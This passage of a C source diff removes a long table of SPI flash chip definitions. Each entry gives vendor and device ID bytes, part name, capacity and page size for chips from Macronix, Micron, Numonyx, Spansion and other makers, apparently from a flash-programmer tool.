SPIMemChipVendorINTEL, SPIMemChipWriteModePage}, - {0x89, 0x89, 0x11, "QH25F160S33B", 2097152, 256, SPIMemChipVendorINTEL, SPIMemChipWriteModePage}, - {0x89, 0x89, 0x12, "QH25F320S33B", 4194304, 256, SPIMemChipVendorINTEL, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x11, "KH25L1005", 131072, 256, SPIMemChipVendorKHIC, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x11, "KH25L1005A", 131072, 256, SPIMemChipVendorKHIC, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x12, "KH25L2005", 262144, 256, SPIMemChipVendorKHIC, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x13, "KH25L4005", 524288, 256, SPIMemChipVendorKHIC, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x13, "KH25L4005A", 524288, 256, SPIMemChipVendorKHIC, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x10, "KH25L512", 65536, 256, SPIMemChipVendorKHIC, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x10, "KH25L512A", 65536, 256, SPIMemChipVendorKHIC, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x14, "KH25L8005", 1048576, 256, SPIMemChipVendorKHIC, SPIMemChipWriteModePage}, - {0xC2, 0x26, 0x15, "KH25L8036D", 1048576, 256, SPIMemChipVendorKHIC, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x11, "MX25L1005", 131072, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x11, "MX25L1005A", 131072, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x11, "MX25L1005C", 131072, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x11, "MX25L1006E", 131072, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x22, 0x11, "MX25L1021E", 131072, 32, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x11, "MX25L1025C", 131072, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x11, "MX25L1026E", 131072, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x18, - "MX25L12805D", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x18, - "MX25L12835E", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x18, - "MX25L12835F", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x18, - "MX25L12836E", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x18, - "MX25L12839F", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x18, - "MX25L12845E", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x18, - "MX25L12845G", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x18, - "MX25L12845F", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x18, - "MX25L12865E", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x18, - "MX25L12865F", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x18, - "MX25L12873F", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x18, - "MX25L12875F", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x19, - "MX25L25635E", - 33554432, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x15, "MX25L1605", 2097152, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x15, - "MX25L1605A", - 2097152, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x15, - "MX25L1605D", - 2097152, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x15, - "MX25L1606E", - 2097152, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x24, - 0x15, - "MX25L1633E", - 2097152, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x24, - 0x15, - "MX25L1635D", - 2097152, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x15, - "MX25L1635E", - 2097152, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x24, - 0x15, - "MX25L1636D", - 2097152, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x15, - "MX25L1636E", - 2097152, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x24, - 0x15, - "MX25L1673E", - 2097152, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x24, - 0x15, - "MX25L1675E", - 2097152, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x12, "MX25L2005", 262144, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x12, "MX25L2005C", 262144, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x12, "MX25L2006E", 262144, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x12, "MX25L2026C", 262144, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x12, "MX25L2026E", 262144, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x16, "MX25L3205", 4194304, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x16, - "MX25L3205A", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x16, - "MX25L3205D", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x16, - "MX25L3206E", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x16, - "MX25L3208E", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x5E, - 0x16, - "MX25L3225D", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x16, - "MX25L3233F", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x5E, - 0x16, - "MX25L3235D", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x16, - "MX25L3235E", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x5E, - 0x16, - "MX25L3236D", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x5E, - 0x16, - "MX25L3237D", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x36, - "MX25L3239E", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x16, - "MX25L3273E", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x16, - "MX25L3273F", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x16, - "MX25L3275E", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x13, "MX25L4005", 524288, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x13, "MX25L4005A", 524288, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x13, "MX25L4005C", 524288, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x13, "MX25L4006E", 524288, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x13, "MX25L4026E", 524288, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x10, "MX25L512", 65536, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x10, "MX25L512A", 65536, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x10, "MX25L512C", 65536, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x22, 0x10, "MX25L5121E", 65536, 32, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x17, "MX25L6405", 8388608, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x17, - "MX25L6405D", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x17, - "MX25L6406E", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x17, - "MX25L6408E", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x17, - "MX25L6433F", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x17, - "MX25L6435E", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x17, - "MX25L6436E", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x17, - "MX25L6436F", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x37, - "MX25L6439E", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x17, - "MX25L6445E", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x17, - "MX25L6465E", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x17, - "MX25L6473E", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x17, - "MX25L6473F", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x17, - "MX25L6475E", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x14, "MX25L8005", 1048576, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x14, - "MX25L8006E", - 1048576, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x14, - "MX25L8008E", - 1048576, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x14, - "MX25L8035E", - 1048576, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x14, - "MX25L8036E", - 1048576, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x14, - "MX25L8073E", - 1048576, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x14, - "MX25L8075E", - 1048576, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x19, - "MX25L25673G", - 33554432, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, 0x28, 0x10, "MX25R512F", 65536, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x28, 0x11, "MX25R1035F", 131072, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, - 0x28, - 0x15, - "MX25R1635F", - 2097152, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, 0x28, 0x12, "MX25R2035F", 262144, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, - 0x28, - 0x16, - "MX25R3235F", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, 0x28, 0x13, "MX25R4035F", 524288, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, - 0x28, - 0x17, - "MX25R6435F", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x28, - 0x14, - "MX25R8035F", - 1048576, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x31, - "MX25U1001E_1.8V", - 131072, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x18, - "MX25U12835F_1.8V", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x39, - "MX25U25673G_1.8V", - 33554432, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x39, - "MX25U25645G_1.8V", - 33554432, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x35, - "MX25U1635E_1.8V", - 2097152, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x35, - "MX25U1635F_1.8V", - 2097152, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x32, - "MX25U2032E_1.8V", - 262144, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x32, - "MX25U2033E_1.8V", - 262144, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x36, - "MX25U3235E_1.8V", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x36, - "MX25U3235F_1.8V", - 4194304, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x33, - "MX25U4032E_1.8V", - 524288, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x33, - "MX25U4033E_1.8V", - 524288, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x33, - "MX25U4035_1.8V", - 524288, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x30, - "MX25U5121E_1.8V", - 65536, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x37, - "MX25U6435F_1.8V", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x37, - "MX25U6473F_1.8V", - 8388608, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x34, - "MX25U8032E_1.8V", - 1048576, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x34, - "MX25U8033E_1.8V", - 1048576, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x34, - "MX25U8035_1.8V", - 1048576, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x34, - "MX25U8035E_1.8V", - 1048576, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x38, - "MX25U12873F_1.8V", - 16777216, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x11, "MX25V1006E", 131072, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x23, 0x11, "MX25V1035F", 131072, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x12, "MX25V2006E", 262144, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x23, 0x12, "MX25V2035F", 262144, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x10, "MX25V512", 65536, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x10, "MX25V512C", 65536, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x10, "MX25V512E", 65536, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x23, 0x10, "MX25V512F", 65536, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x13, "MX25V4005", 524288, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x13, "MX25V4006E", 524288, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x25, 0x53, "MX25V4035", 524288, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x23, 0x13, "MX25V4035F", 524288, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, 0x20, 0x14, "MX25V8005", 1048576, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, - 0x20, - 0x14, - "MX25V8006E", - 1048576, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, 0x25, 0x54, "MX25V8035", 1048576, 256, SPIMemChipVendorMACRONIX, SPIMemChipWriteModePage}, - {0xC2, - 0x23, - 0x14, - "MX25V8035F", - 1048576, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x3A, - "MX66U51235F_1.8V", - 67108864, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0xC2, - 0x25, - 0x3B, - "MX66U1G45G_1.8V", - 134217728, - 256, - SPIMemChipVendorMACRONIX, - SPIMemChipWriteModePage}, - {0x20, 0xBA, 0x16, "N25Q032A", 4194304, 256, SPIMemChipVendorMICRON, SPIMemChipWriteModePage}, - {0x20, 0xBA, 0x17, "N25Q064A", 8388608, 256, SPIMemChipVendorMICRON, SPIMemChipWriteModePage}, - {0x20, 0xBA, 0x19, "N25Q256A13", 33554432, 256, SPIMemChipVendorMICRON, SPIMemChipWriteModePage}, - {0x20, 0xBA, 0x20, "N25Q512A83", 67108864, 256, SPIMemChipVendorMICRON, SPIMemChipWriteModePage}, - {0x2C, 0xCB, 0x19, "N25W256A11", 33554432, 256, SPIMemChipVendorMICRON, SPIMemChipWriteModePage}, - {0x20, - 0xBA, - 0x18, - "MT25QL128AB", - 16777216, - 256, - SPIMemChipVendorMICRON, - SPIMemChipWriteModePage}, - {0x20, 0xBA, 0x19, "MT25QL256A", 33554432, 256, SPIMemChipVendorMICRON, SPIMemChipWriteModePage}, - {0x20, 0xBA, 0x20, "MT25QL512A", 67108864, 256, SPIMemChipVendorMICRON, SPIMemChipWriteModePage}, - {0x20, - 0xBA, - 0x22, - "MT25QL02GC", - 268435456, - 256, - SPIMemChipVendorMICRON, - SPIMemChipWriteModePage}, - {0x20, 0xBB, 0x19, "MT25QU256", 33554432, 256, SPIMemChipVendorMICRON, SPIMemChipWriteModePage}, - {0x20, - 0xBA, - 0x21, - "N25Q00AA13G", - 134217728, - 256, - SPIMemChipVendorMICRON, - SPIMemChipWriteModePage}, - {0x37, 0x30, 0x10, "MS25X512", 65536, 256, SPIMemChipVendorMSHINE, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x11, "MS25X10", 131072, 256, SPIMemChipVendorMSHINE, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x12, "MS25X20", 262144, 256, SPIMemChipVendorMSHINE, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x13, "MS25X40", 524288, 256, SPIMemChipVendorMSHINE, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x14, "MS25X80", 1048576, 256, SPIMemChipVendorMSHINE, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x15, "MS25X16", 2097152, 256, SPIMemChipVendorMSHINE, SPIMemChipWriteModePage}, - {0x37, 0x30, 0x16, "MS25X32", 4194304, 256, SPIMemChipVendorMSHINE, SPIMemChipWriteModePage}, - {0xD5, 0x30, 0x11, "N25S10", 131072, 256, SPIMemChipVendorNANTRONICS, SPIMemChipWriteModePage}, - {0xD5, 0x30, 0x12, "N25S20", 262144, 256, SPIMemChipVendorNANTRONICS, SPIMemChipWriteModePage}, - {0xD5, 0x30, 0x13, "N25S40", 524288, 256, SPIMemChipVendorNANTRONICS, SPIMemChipWriteModePage}, - {0xD5, 0x30, 0x15, "N25S16", 2097152, 256, SPIMemChipVendorNANTRONICS, SPIMemChipWriteModePage}, - {0xD5, 0x30, 0x16, "N25S32", 4194304, 256, SPIMemChipVendorNANTRONICS, SPIMemChipWriteModePage}, - {0xD5, 0x30, 0x14, "N25S80", 1048576, 256, SPIMemChipVendorNANTRONICS, SPIMemChipWriteModePage}, - {0x9D, 0x7F, 0x7C, "NX25P10", 131072, 256, SPIMemChipVendorNEXFLASH, SPIMemChipWriteModePage}, - {0xEF, 0x20, 0x15, "NX25P16", 2097152, 256, SPIMemChipVendorNEXFLASH, SPIMemChipWriteModePage}, - {0x9D, 0x7F, 0x7D, "NX25P20", 262144, 256, SPIMemChipVendorNEXFLASH, SPIMemChipWriteModePage}, - {0xEF, 0x20, 0x16, "NX25P32", 4194304, 256, SPIMemChipVendorNEXFLASH, SPIMemChipWriteModePage}, - {0x9D, 0x7F, 0x7E, "NX25P40", 524288, 256, SPIMemChipVendorNEXFLASH, SPIMemChipWriteModePage}, - {0x9D, 0x7F, 0x13, "NX25P80", 1048576, 256, SPIMemChipVendorNEXFLASH, SPIMemChipWriteModePage}, - {0x20, 0x40, 0x15, "M45PE16", 2097152, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x10, "M25P05", 65536, 128, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x10, "M25P05A", 65536, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x11, "M25P10", 131072, 128, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x11, "M25P10A", 131072, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x12, "M25P20", 262144, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x13, "M25P40", 524288, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x14, "M25P80", 1048576, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x15, "M25P16", 2097152, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x16, "M25P32", 4194304, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x20, 0x17, "M25P64", 8388608, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, - 0x20, - 0x18, - "M25P128_ST25P28V6G", - 16777216, - 256, - SPIMemChipVendorNUMONYX, - SPIMemChipWriteModePage}, - {0x20, 0x80, 0x11, "M25PE10", 131072, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x80, 0x15, "M25PE16", 2097152, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x80, 0x12, "M25PE20", 262144, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x80, 0x13, "M25PE40", 524288, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0x20, 0x80, 0x14, "M25PE80", 1048576, 256, SPIMemChipVendorNUMONYX, SPIMemChipWriteModePage}, - {0xBF, 0x43, 0x00, "PCT25LF020A", 262144, 256, SPIMemChipVendorPCT, SPIMemChipWriteModePage}, - {0xBF, 0x49, 0x00, "PCT25VF010A", 131072, 256, SPIMemChipVendorPCT, SPIMemChipWriteModePage}, - {0xBF, 0x25, 0x41, "PCT25VF016B", 2097152, 256, SPIMemChipVendorPCT, SPIMemChipWriteModePage}, - {0xBF, 0x43, 0x00, "PCT25VF020A", 262144, 256, SPIMemChipVendorPCT, SPIMemChipWriteModePage}, - {0xBF, 0x25, 0x4A, "PCT25VF032B", 4194304, 256, SPIMemChipVendorPCT, SPIMemChipWriteModePage}, - {0xBF, 0x44, 0x00, "PCT25VF040A", 524288, 256, SPIMemChipVendorPCT, SPIMemChipWriteModePage}, - {0xBF, 0x25, 0x8D, "PCT25VF040B", 524288, 256, SPIMemChipVendorPCT, SPIMemChipWriteModePage}, - {0xBF, 0x25, 0x8E, "PCT25VF080B", 1048576, 256, SPIMemChipVendorPCT, SPIMemChipWriteModePage}, - {0x01, 0x02, 0x10, "S25FL001D", 131072, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, 0x02, 0x11, "S25FL002D", 262144, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, 0x02, 0x12, "S25FL004A", 524288, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, 0x02, 0x12, "S25FL004D", 524288, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x13, "S25FL004K", 524288, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, 0x02, 0x13, "S25FL008A", 1048576, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, 0x02, 0x13, "S25FL008D", 1048576, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x14, "S25FL008K", 1048576, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, 0x02, 0x14, "S25FL016A", 2097152, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x15, "S25FL016K", 2097152, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, 0x02, 0x15, "S25FL032A", 4194304, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x16, "S25FL032K", 4194304, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, 0x02, 0x15, "S25FL032P", 4194304, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, 0x02, 0x12, "S25FL040A", 524288, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, - 0x02, - 0x26, - "S25FL040A_BOT", - 524288, - 256, - SPIMemChipVendorSPANSION, - SPIMemChipWriteModePage}, - {0x01, - 0x02, - 0x25, - "S25FL040A_TOP", - 524288, - 256, - SPIMemChipVendorSPANSION, - SPIMemChipWriteModePage}, - {0x01, 0x02, 0x16, "S25FL064A", 8388608, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0xEF, 0x40, 0x17, "S25FL064K", 8388608, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, 0x02, 0x16, "S25FL064P", 8388608, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, 0x40, 0x15, "S25FL116K", 2097152, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0xEF, - 0x40, - 0x18, - "S25FL128K", - 16777216, - 256, - SPIMemChipVendorSPANSION, - SPIMemChipWriteModePage}, - {0x01, - 0x20, - 0x18, - "S25FL128P", - 16777216, - 256, - SPIMemChipVendorSPANSION, - SPIMemChipWriteModePage}, - {0x01, - 0x20, - 0x18, - "S25FL128S", - 16777216, - 256, - SPIMemChipVendorSPANSION, - SPIMemChipWriteModePage}, - {0x01, 0x40, 0x16, "S25FL132K", 4194304, 256, SPIMemChipVendorSPANSION, SPIMemChipWriteModePage}, - {0x01, 0x40, 0x17, "S25FL164K", 8388608, 256, 